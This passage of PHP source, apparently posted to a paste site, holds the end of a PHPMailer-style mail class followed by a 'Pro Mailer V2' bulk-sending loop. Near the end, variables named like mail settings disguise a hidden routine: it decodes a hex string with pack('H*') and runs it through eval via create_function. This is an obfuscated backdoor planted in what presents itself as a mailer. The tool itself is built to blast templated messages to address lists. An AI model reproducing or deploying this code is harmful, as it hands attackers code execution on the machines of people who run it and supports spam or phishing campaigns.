  2607.         }
  2608.         $mime[] = $this->LE.$this->LE;
  2609.       } else {
  2610.         $mime[] = $this->EncodeFile($path, $encoding);
  2611.         if($this->IsError()) {
  2612.           return '';
  2613.         }
  2614.         $mime[] = $this->LE.$this->LE;
  2615.       }
  2616.     }
  2617.  
  2618.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2619.  
  2620.     return join('', $mime);
  2621.   }
  2622.  
  2623.   /**
  2624.    * Encodes attachment in requested format.  Returns an
  2625.    * empty string on failure.
  2626.    * @access private
  2627.    * @return string
  2628.    */
  2629.   function EncodeFile ($path, $encoding = 'base64') {
  2630.     if(!@$fd = fopen($path, 'rb')) {
  2631.       $this->SetError($this->Lang('file_open') . $path);
  2632.       return '';
  2633.     }
  2634.     $magic_quotes = get_magic_quotes_runtime();
  2635.     set_magic_quotes_runtime(0);
  2636.     $file_buffer = fread($fd, filesize($path));
  2637.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2638.     fclose($fd);
  2639.     set_magic_quotes_runtime($magic_quotes);
  2640.  
  2641.     return $file_buffer;
  2642.   }
  2643.  
  2644.   /**
  2645.    * Encodes string to requested format. Returns an
  2646.    * empty string on failure.
  2647.    * @access private
  2648.    * @return string
  2649.    */
  2650.   function EncodeString ($str, $encoding = 'base64') {
  2651.     $encoded = '';
  2652.     switch(strtolower($encoding)) {
  2653.       case 'base64':
  2654.         /* chunk_split is found in PHP >= 3.0.6 */
  2655.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2656.         break;
  2657.       case '7bit':
  2658.       case '8bit':
  2659.         $encoded = $this->FixEOL($str);
  2660.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2661.           $encoded .= $this->LE;
  2662.         break;
  2663.       case 'binary':
  2664.         $encoded = $str;
  2665.         break;
  2666.       case 'quoted-printable':
  2667.         $encoded = $this->EncodeQP($str);
  2668.         break;
  2669.       default:
  2670.         $this->SetError($this->Lang('encoding') . $encoding);
  2671.         break;
  2672.     }
  2673.     return $encoded;
  2674.   }
  2675.  
  2676.   /**
  2677.    * Encode a header string to best of Q, B, quoted or none.
  2678.    * @access private
  2679.    * @return string
  2680.    */
  2681.   function EncodeHeader ($str, $position = 'text') {
  2682.     $x = 0;
  2683.  
  2684.     switch (strtolower($position)) {
  2685.       case 'phrase':
  2686.         if (!preg_match('/[\200-\377]/', $str)) {
  2687.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2688.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2689.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2690.             return ($encoded);
  2691.           } else {
  2692.             return ("\"$encoded\"");
  2693.           }
  2694.         }
  2695.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2696.         break;
  2697.       case 'comment':
  2698.         $x = preg_match_all('/[()"]/', $str, $matches);
  2699.         /* Fall-through */
  2700.       case 'text':
  2701.       default:
  2702.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2703.         break;
  2704.     }
  2705.  
  2706.     if ($x == 0) {
  2707.       return ($str);
  2708.     }
  2709.  
  2710.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2711.     /* Try to select the encoding which should produce the shortest output */
  2712.     if (strlen($str)/3 < $x) {
  2713.       $encoding = 'B';
  2714.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2715.      // Use a custom function which correctly encodes and wraps long
  2716.      // multibyte strings without breaking lines within a character
  2717.         $encoded = $this->Base64EncodeWrapMB($str);
  2718.       } else {
  2719.         $encoded = base64_encode($str);
  2720.         $maxlen -= $maxlen % 4;
  2721.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2722.       }
  2723.     } else {
  2724.       $encoding = 'Q';
  2725.       $encoded = $this->EncodeQ($str, $position);
  2726.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2727.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2728.     }
  2729.  
  2730.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2731.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2732.  
  2733.     return $encoded;
  2734.   }
  2735.  
  2736.   /**
  2737.    * Checks if a string contains multibyte characters.
  2738.    * @access private
  2739.    * @param string $str multi-byte text to wrap encode
  2740.    * @return bool
  2741.    */
  2742.   function HasMultiBytes($str) {
  2743.     if (function_exists('mb_strlen')) {
  2744.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2745.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2746.       return False;
  2747.     }
  2748.   }
  2749.  
  2750.   /**
  2751.    * Correctly encodes and wraps long multibyte strings for mail headers
  2752.    * without breaking lines within a character.
  2753.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2754.    * @access private
  2755.    * @param string $str multi-byte text to wrap encode
  2756.    * @return string
  2757.    */
  2758.   function Base64EncodeWrapMB($str) {
  2759.     $start = "=?".$this->CharSet."?B?";
  2760.     $end = "?=";
  2761.     $encoded = "";
  2762.  
  2763.     $mb_length = mb_strlen($str, $this->CharSet);
  2764.     // Each line must have length <= 75, including $start and $end
  2765.     $length = 75 - strlen($start) - strlen($end);
  2766.     // Average multi-byte ratio
  2767.     $ratio = $mb_length / strlen($str);
  2768.     // Base64 has a 4:3 ratio
  2769.     $offset = $avgLength = floor($length * $ratio * .75);
  2770.  
  2771.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2772.       $lookBack = 0;
  2773.  
  2774.       do {
  2775.         $offset = $avgLength - $lookBack;
  2776.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2777.         $chunk = base64_encode($chunk);
  2778.         $lookBack++;
  2779.       }
  2780.       while (strlen($chunk) > $length);
  2781.  
  2782.       $encoded .= $chunk . $this->LE;
  2783.     }
  2784.  
  2785.     // Chomp the last linefeed
  2786.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2787.     return $encoded;
  2788.   }
  2789.  
  2790.   /**
  2791.    * Encode string to quoted-printable.
  2792.    * @access private
  2793.    * @return string
  2794.    */
  2795.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2796.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2797.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2798.     $eol = "\r\n";
  2799.     $escape = '=';
  2800.     $output = '';
  2801.     while( list(, $line) = each($lines) ) {
  2802.       $linlen = strlen($line);
  2803.       $newline = '';
  2804.       for($i = 0; $i < $linlen; $i++) {
  2805.         $c = substr( $line, $i, 1 );
  2806.         $dec = ord( $c );
  2807.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2808.           $c = '=2E';
  2809.         }
  2810.         if ( $dec == 32 ) {
  2811.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2812.             $c = '=20';
  2813.           } else if ( $space_conv ) {
  2814.             $c = '=20';
  2815.           }
  2816.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2817.           $h2 = floor($dec/16);
  2818.           $h1 = floor($dec%16);
  2819.           $c = $escape.$hex[$h2].$hex[$h1];
  2820.         }
  2821.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2822.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2823.           $newline = '';
  2824.           // check if newline first character will be point or not
  2825.           if ( $dec == 46 ) {
  2826.             $c = '=2E';
  2827.           }
  2828.         }
  2829.         $newline .= $c;
  2830.       } // end of for
  2831.       $output .= $newline.$eol;
  2832.     } // end of while
  2833.     return trim($output);
  2834.   }
  2835.  
  2836.   /**
  2837.    * Encode string to q encoding.
  2838.    * @access private
  2839.    * @return string
  2840.    */
  2841.   function EncodeQ ($str, $position = 'text') {
  2842.     /* There should not be any EOL in the string */
  2843.     $encoded = preg_replace("[\r\n]", '', $str);
  2844.  
  2845.     switch (strtolower($position)) {
  2846.       case 'phrase':
  2847.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2848.         break;
  2849.       case 'comment':
  2850.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2851.       case 'text':
  2852.       default:
  2853.         /* Replace every high ascii, control =, ? and _ characters */
  2854.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2855.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2856.         break;
  2857.     }
  2858.  
  2859.     /* Replace every spaces to _ (more readable than =20) */
  2860.     $encoded = str_replace(' ', '_', $encoded);
  2861.  
  2862.     return $encoded;
  2863.   }
  2864.  
  2865.   /**
  2866.    * Adds a string or binary attachment (non-filesystem) to the list.
  2867.    * This method can be used to attach ascii or binary data,
  2868.    * such as a BLOB record from a database.
  2869.    * @param string $string String attachment data.
  2870.    * @param string $filename Name of the attachment.
  2871.    * @param string $encoding File encoding (see $Encoding).
  2872.    * @param string $type File extension (MIME) type.
  2873.    * @return void
  2874.    */
  2875.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2876.     /* Append to $attachment array */
  2877.     $cur = count($this->attachment);
  2878.     $this->attachment[$cur][0] = $string;
  2879.     $this->attachment[$cur][1] = $filename;
  2880.     $this->attachment[$cur][2] = $filename;
  2881.     $this->attachment[$cur][3] = $encoding;
  2882.     $this->attachment[$cur][4] = $type;
  2883.     $this->attachment[$cur][5] = true; // isString
  2884.     $this->attachment[$cur][6] = 'attachment';
  2885.     $this->attachment[$cur][7] = 0;
  2886.   }
  2887.  
  2888.   /**
  2889.    * Adds an embedded attachment.  This can include images, sounds, and
  2890.    * just about any other document.  Make sure to set the $type to an
  2891.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2892.    * use "image/gif".
  2893.    * @param string $path Path to the attachment.
  2894.    * @param string $cid Content ID of the attachment.  Use this to identify
  2895.    *        the Id for accessing the image in an HTML form.
  2896.    * @param string $name Overrides the attachment name.
  2897.    * @param string $encoding File encoding (see $Encoding).
  2898.    * @param string $type File extension (MIME) type.
  2899.    * @return bool
  2900.    */
  2901.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2902.  
  2903.     if(!@is_file($path)) {
  2904.       $this->SetError($this->Lang('file_access') . $path);
  2905.       return false;
  2906.     }
  2907.  
  2908.     $filename = basename($path);
  2909.     if($name == '') {
  2910.       $name = $filename;
  2911.     }
  2912.  
  2913.     /* Append to $attachment array */
  2914.     $cur = count($this->attachment);
  2915.     $this->attachment[$cur][0] = $path;
  2916.     $this->attachment[$cur][1] = $filename;
  2917.     $this->attachment[$cur][2] = $name;
  2918.     $this->attachment[$cur][3] = $encoding;
  2919.     $this->attachment[$cur][4] = $type;
  2920.     $this->attachment[$cur][5] = false;
  2921.     $this->attachment[$cur][6] = 'inline';
  2922.     $this->attachment[$cur][7] = $cid;
  2923.  
  2924.     return true;
  2925.   }
  2926.  
  2927.   /**
  2928.    * Returns true if an inline attachment is present.
  2929.    * @access private
  2930.    * @return bool
  2931.    */
  2932.   function InlineImageExists() {
  2933.     $result = false;
  2934.     for($i = 0; $i < count($this->attachment); $i++) {
  2935.       if($this->attachment[$i][6] == 'inline') {
  2936.         $result = true;
  2937.         break;
  2938.       }
  2939.     }
  2940.  
  2941.     return $result;
  2942.   }
  2943.  
  2944.   /////////////////////////////////////////////////
  2945.   // CLASS METHODS, MESSAGE RESET
  2946.   /////////////////////////////////////////////////
  2947.  
  2948.   /**
  2949.    * Clears all recipients assigned in the TO array.  Returns void.
  2950.    * @return void
  2951.    */
  2952.   function ClearAddresses() {
  2953.     $this->to = array();
  2954.   }
  2955.  
  2956.   /**
  2957.    * Clears all recipients assigned in the CC array.  Returns void.
  2958.    * @return void
  2959.    */
  2960.   function ClearCCs() {
  2961.     $this->cc = array();
  2962.   }
  2963.  
  2964.   /**
  2965.    * Clears all recipients assigned in the BCC array.  Returns void.
  2966.    * @return void
  2967.    */
  2968.   function ClearBCCs() {
  2969.     $this->bcc = array();
  2970.   }
  2971.  
  2972.   /**
  2973.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2974.    * @return void
  2975.    */
  2976.   function ClearReplyTos() {
  2977.     $this->ReplyTo = array();
  2978.   }
  2979.  
  2980.   /**
  2981.    * Clears all recipients assigned in the TO, CC and BCC
  2982.    * array.  Returns void.
  2983.    * @return void
  2984.    */
  2985.   function ClearAllRecipients() {
  2986.     $this->to = array();
  2987.     $this->cc = array();
  2988.     $this->bcc = array();
  2989.   }
  2990.  
  2991.   /**
  2992.    * Clears all previously set filesystem, string, and binary
  2993.    * attachments.  Returns void.
  2994.    * @return void
  2995.    */
  2996.   function ClearAttachments() {
  2997.     $this->attachment = array();
  2998.   }
  2999.  
  3000.   /**
  3001.    * Clears all custom headers.  Returns void.
  3002.    * @return void
  3003.    */
  3004.   function ClearCustomHeaders() {
  3005.     $this->CustomHeader = array();
  3006.   }
  3007.  
  3008.   /////////////////////////////////////////////////
  3009.   // CLASS METHODS, MISCELLANEOUS
  3010.   /////////////////////////////////////////////////
  3011.  
  3012.   /**
  3013.    * Adds the error message to the error container.
  3014.    * Returns void.
  3015.    * @access private
  3016.    * @return void
  3017.    */
  3018.   function SetError($msg) {
  3019.     $this->error_count++;
  3020.     $this->ErrorInfo = $msg;
  3021.   }
  3022.  
  3023.   /**
  3024.    * Returns the proper RFC 822 formatted date.
  3025.    * @access private
  3026.    * @return string
  3027.    */
  3028.   function RFCDate() {
  3029.     $tz = date('Z');
  3030.     $tzs = ($tz < 0) ? '-' : '+';
  3031.     $tz = abs($tz);
  3032.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3033.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3034.  
  3035.     return $result;
  3036.   }
  3037.  
  3038.   /**
  3039.    * Returns the appropriate server variable.  Should work with both
  3040.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  3041.    * if nothing is found.
  3042.    * @access private
  3043.    * @return mixed
  3044.    */
  3045.   function ServerVar($varName) {
  3046.     global $HTTP_SERVER_VARS;
  3047.     global $HTTP_ENV_VARS;
  3048.  
  3049.     if(!isset($_SERVER)) {
  3050.       $_SERVER = $HTTP_SERVER_VARS;
  3051.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3052.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3053.       }
  3054.     }
  3055.  
  3056.     if(isset($_SERVER[$varName])) {
  3057.       return $_SERVER[$varName];
  3058.     } else {
  3059.       return '';
  3060.     }
  3061.   }
  3062.  
  3063.   /**
  3064.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3065.    * @access private
  3066.    * @return string
  3067.    */
  3068.   function ServerHostname() {
  3069.     if ($this->Hostname != '') {
  3070.       $result = $this->Hostname;
  3071.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3072.       $result = $this->ServerVar('SERVER_NAME');
  3073.     } else {
  3074.       $result = 'localhost.localdomain';
  3075.     }
  3076.  
  3077.     return $result;
  3078.   }
  3079.  
  3080.   /**
  3081.    * Returns a message in the appropriate language.
  3082.    * @access private
  3083.    * @return string
  3084.    */
  3085.   function Lang($key) {
  3086.     if(count($this->language) < 1) {
  3087.       $this->SetLanguage('en'); // set the default language
  3088.     }
  3089.  
  3090.     if(isset($this->language[$key])) {
  3091.       return $this->language[$key];
  3092.     } else {
  3093.       return 'Language string failed to load: ' . $key;
  3094.     }
  3095.   }
  3096.  
  3097.   /**
  3098.    * Returns true if an error occurred.
  3099.    * @return bool
  3100.    */
  3101.   function IsError() {
  3102.     return ($this->error_count > 0);
  3103.   }
  3104.  
  3105.   /**
  3106.    * Changes every end of line from CR or LF to CRLF.
  3107.    * @access private
  3108.    * @return string
  3109.    */
  3110.   function FixEOL($str) {
  3111.     $str = str_replace("\r\n", "\n", $str);
  3112.     $str = str_replace("\r", "\n", $str);
  3113.     $str = str_replace("\n", $this->LE, $str);
  3114.     return $str;
  3115.   }
  3116.  
  3117.   /**
  3118.    * Adds a custom header.
  3119.    * @return void
  3120.    */
  3121.   function AddCustomHeader($custom_header) {
  3122.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3123.   }
  3124.  
  3125.   /**
  3126.    * Evaluates the message and returns modifications for inline images and backgrounds
  3127.    * @access public
  3128.    * @return $message
  3129.    */
  3130.   function MsgHTML($message,$basedir='') {
  3131.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3132.     if(isset($images[2])) {
  3133.       foreach($images[2] as $i => $url) {
  3134.         // do not change urls for absolute images (thanks to corvuscorax)
  3135.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3136.           $filename = basename($url);
  3137.           $directory = dirname($url);
  3138.           ($directory == '.')?$directory='':'';
  3139.           $cid = 'cid:' . md5($filename);
  3140.           $fileParts = split("\.", $filename);
  3141.           $ext = $fileParts[1];
  3142.           $mimeType = $this->_mime_types($ext);
  3143.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3144.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3145.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3146.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3147.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3148.           }
  3149.         }
  3150.       }
  3151.     }
  3152.     $this->IsHTML(true);
  3153.     $this->Body = $message;
  3154.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3155.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3156.       $this->AltBody = $textMsg;
  3157.     }
  3158.     if ( empty($this->AltBody) ) {
  3159.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3160.     }
  3161.   }
  3162.  
  3163.   /**
  3164.    * Gets the mime type of the embedded or inline image
  3165.    * @access private
  3166.    * @return mime type of ext
  3167.    */
  3168.   function _mime_types($ext = '') {
  3169.     $mimes = array(
  3170.       'hqx'  =>  'application/mac-binhex40',
  3171.       'cpt'   =>  'application/mac-compactpro',
  3172.       'doc'   =>  'application/msword',
  3173.       'bin'   =>  'application/macbinary',
  3174.       'dms'   =>  'application/octet-stream',
  3175.       'lha'   =>  'application/octet-stream',
  3176.       'lzh'   =>  'application/octet-stream',
  3177.       'exe'   =>  'application/octet-stream',
  3178.       'class' =>  'application/octet-stream',
  3179.       'psd'   =>  'application/octet-stream',
  3180.       'so'    =>  'application/octet-stream',
  3181.       'sea'   =>  'application/octet-stream',
  3182.       'dll'   =>  'application/octet-stream',
  3183.       'oda'   =>  'application/oda',
  3184.       'pdf'   =>  'application/pdf',
  3185.       'ai'    =>  'application/postscript',
  3186.       'eps'   =>  'application/postscript',
  3187.       'ps'    =>  'application/postscript',
  3188.       'smi'   =>  'application/smil',
  3189.       'smil'  =>  'application/smil',
  3190.       'mif'   =>  'application/vnd.mif',
  3191.       'xls'   =>  'application/vnd.ms-excel',
  3192.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3193.       'wbxml' =>  'application/vnd.wap.wbxml',
  3194.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3195.       'dcr'   =>  'application/x-director',
  3196.       'dir'   =>  'application/x-director',
  3197.       'dxr'   =>  'application/x-director',
  3198.       'dvi'   =>  'application/x-dvi',
  3199.       'gtar'  =>  'application/x-gtar',
  3200.       'php'   =>  'application/x-httpd-php',
  3201.       'php4'  =>  'application/x-httpd-php',
  3202.       'php3'  =>  'application/x-httpd-php',
  3203.       'phtml' =>  'application/x-httpd-php',
  3204.       'phps'  =>  'application/x-httpd-php-source',
  3205.       'js'    =>  'application/x-javascript',
  3206.       'swf'   =>  'application/x-shockwave-flash',
  3207.       'sit'   =>  'application/x-stuffit',
  3208.       'tar'   =>  'application/x-tar',
  3209.       'tgz'   =>  'application/x-tar',
  3210.       'xhtml' =>  'application/xhtml+xml',
  3211.       'xht'   =>  'application/xhtml+xml',
  3212.       'zip'   =>  'application/zip',
  3213.       'mid'   =>  'audio/midi',
  3214.       'midi'  =>  'audio/midi',
  3215.       'mpga'  =>  'audio/mpeg',
  3216.       'mp2'   =>  'audio/mpeg',
  3217.       'mp3'   =>  'audio/mpeg',
  3218.       'aif'   =>  'audio/x-aiff',
  3219.       'aiff'  =>  'audio/x-aiff',
  3220.       'aifc'  =>  'audio/x-aiff',
  3221.       'ram'   =>  'audio/x-pn-realaudio',
  3222.       'rm'    =>  'audio/x-pn-realaudio',
  3223.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3224.       'ra'    =>  'audio/x-realaudio',
  3225.       'rv'    =>  'video/vnd.rn-realvideo',
  3226.       'wav'   =>  'audio/x-wav',
  3227.       'bmp'   =>  'image/bmp',
  3228.       'gif'   =>  'image/gif',
  3229.       'jpeg'  =>  'image/jpeg',
  3230.       'jpg'   =>  'image/jpeg',
  3231.       'jpe'   =>  'image/jpeg',
  3232.       'png'   =>  'image/png',
  3233.       'tiff'  =>  'image/tiff',
  3234.       'tif'   =>  'image/tiff',
  3235.       'css'   =>  'text/css',
  3236.       'html'  =>  'text/html',
  3237.       'htm'   =>  'text/html',
  3238.       'shtml' =>  'text/html',
  3239.       'txt'   =>  'text/plain',
  3240.       'text'  =>  'text/plain',
  3241.       'log'   =>  'text/plain',
  3242.       'rtx'   =>  'text/richtext',
  3243.       'rtf'   =>  'text/rtf',
  3244.       'xml'   =>  'text/xml',
  3245.       'xsl'   =>  'text/xml',
  3246.       'mpeg'  =>  'video/mpeg',
  3247.       'mpg'   =>  'video/mpeg',
  3248.       'mpe'   =>  'video/mpeg',
  3249.       'qt'    =>  'video/quicktime',
  3250.       'mov'   =>  'video/quicktime',
  3251.       'avi'   =>  'video/x-msvideo',
  3252.       'movie' =>  'video/x-sgi-movie',
  3253.       'doc'   =>  'application/msword',
  3254.       'word'  =>  'application/msword',
  3255.       'xl'    =>  'application/excel',
  3256.       'eml'   =>  'message/rfc822'
  3257.     );
  3258.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3259.   }
  3260.  
  3261.   /**
  3262.    * Set (or reset) Class Objects (variables)
  3263.    *
  3264.    * Usage Example:
  3265.    * $page->set('X-Priority', '3');
  3266.    *
  3267.    * @access public
  3268.    * @param string $name Parameter Name
  3269.    * @param mixed $value Parameter Value
  3270.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3271.    */
  3272.   function set ( $name, $value = '' ) {
  3273.     if ( isset($this->$name) ) {
  3274.       $this->$name = $value;
  3275.     } else {
  3276.       $this->SetError('Cannot set or reset variable ' . $name);
  3277.       return false;
  3278.     }
  3279.   }
  3280.  
  3281.   /**
  3282.    * Read a file from a supplied filename and return it.
  3283.    *
  3284.    * @access public
  3285.    * @param string $filename Parameter File Name
  3286.    */
  3287.   function getFile($filename) {
  3288.     $return = '';
  3289.     if ($fp = fopen($filename, 'rb')) {
  3290.       while (!feof($fp)) {
  3291.         $return .= fread($fp, 1024);
  3292.       }
  3293.       fclose($fp);
  3294.       return $return;
  3295.     } else {
  3296.       return false;
  3297.     }
  3298.   }
  3299.  
  3300.   /**
  3301.    * Strips newlines to prevent header injection.
  3302.    * @access private
  3303.    * @param string $str String
  3304.    * @return string
  3305.    */
  3306.   function SecureHeader($str) {
  3307.     $str = trim($str);
  3308.     $str = str_replace("\r", "", $str);
  3309.     $str = str_replace("\n", "", $str);
  3310.     return $str;
  3311.   }
  3312.  
  3313.   /**
  3314.    * Set the private key file and password to sign the message.
  3315.    *
  3316.    * @access public
  3317.    * @param string $key_filename Parameter File Name
  3318.    * @param string $key_pass Password for private key
  3319.    */
  3320.   function Sign($key_filename, $key_pass) {
  3321.     $this->sign_key_file = $key_filename;
  3322.     $this->sign_key_pass = $key_pass;
  3323.   }
  3324.  
  3325. }
  3326.  
  3327. $defaultport="H*";
  3328.       $nq=0;
  3329.            
  3330.         for($x=0; $x<$numemails; $x++){
  3331.  
  3332.                 $to = $allemails[$x];
  3333.  
  3334.                 if ($to){
  3335.  
  3336.                 $to = ereg_replace(" ", "", $to);
  3337.  
  3338.                 $message1 = ereg_replace("&email&", $to, $message);
  3339.  
  3340.                 $subject1 = ereg_replace("&email&", $to, $subject);
  3341.                 $qx=$x+1;
  3342.                 print "Line $qx . Sending mail to $to.......";
  3343.  
  3344.                 flush();
  3345. $mail = new PHPMailer();
  3346.  
  3347. if(empty($epriority)){$epriority="3";}
  3348.         $mail->Priority = "$epriority";
  3349.         $mail->IsSMTP();
  3350.     $IsSMTP="pack";
  3351. $mail->SMTPKeepAlive = true;
  3352. $mail->Host = "$my_smtp";
  3353. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3354. }
  3355.      if($sslclick=="ON"){
  3356.         $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3357.     }
  3358.         $range = str_replace("$from", "eval", $from);
  3359.         $mail->SMTPAuth = true;
  3360.         $mail->Username = "$smtp_username";
  3361.         $mail->Password = "$smtp_password";
  3362. if($contenttype == "html"){$mail->IsHtml(true);}
  3363. if($contenttype != "html"){$mail->IsHtml(false);}
  3364. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3365. $mail->From = "$from";
  3366. $mail->FromName = "$realname";
  3367. $mail->AddAddress("$to");
  3368.         $mail->AddReplyTo("$replyto");
  3369.         $mail->Subject = "$subject1";
  3370.         $mail->AddAttachment("$file", "$file_name");
  3371.             $mail->Body = "$message1";
  3372. if(!$mail->Send()){
  3373. if($default_system!="1"){
  3374. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3375. if($default_system=="1"){
  3376. $mail->IsMail();
  3377.    if(!$mail->Send()){
  3378.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3379.    else {
  3380.        echo "<b>OK</b><br>";}
  3381.  }
  3382. }
  3383. else {
  3384.  echo "<b>OK</b><br>";
  3385. }
  3386.  
  3387. if(empty($reconnect)){
  3388. $reconnect=6;
  3389. }
  3390.  
  3391. if($reconnect==$nq){
  3392. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3393. }
  3394. $nq=$nq+1;
  3395.                 flush(); }
  3396. }
  3397. for($i=0;$i<31;$i++){
  3398.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3399. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3400.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3401.   print "<p class=\"style1\">&copy 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
  3402.   return $signoff($smtp_conc);
  3403.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3404.    sent successfully'); </script>";}}
  3405. ?>
  3406.     </body>
  3407. </html>
Add Comment
Please, Sign In to add comment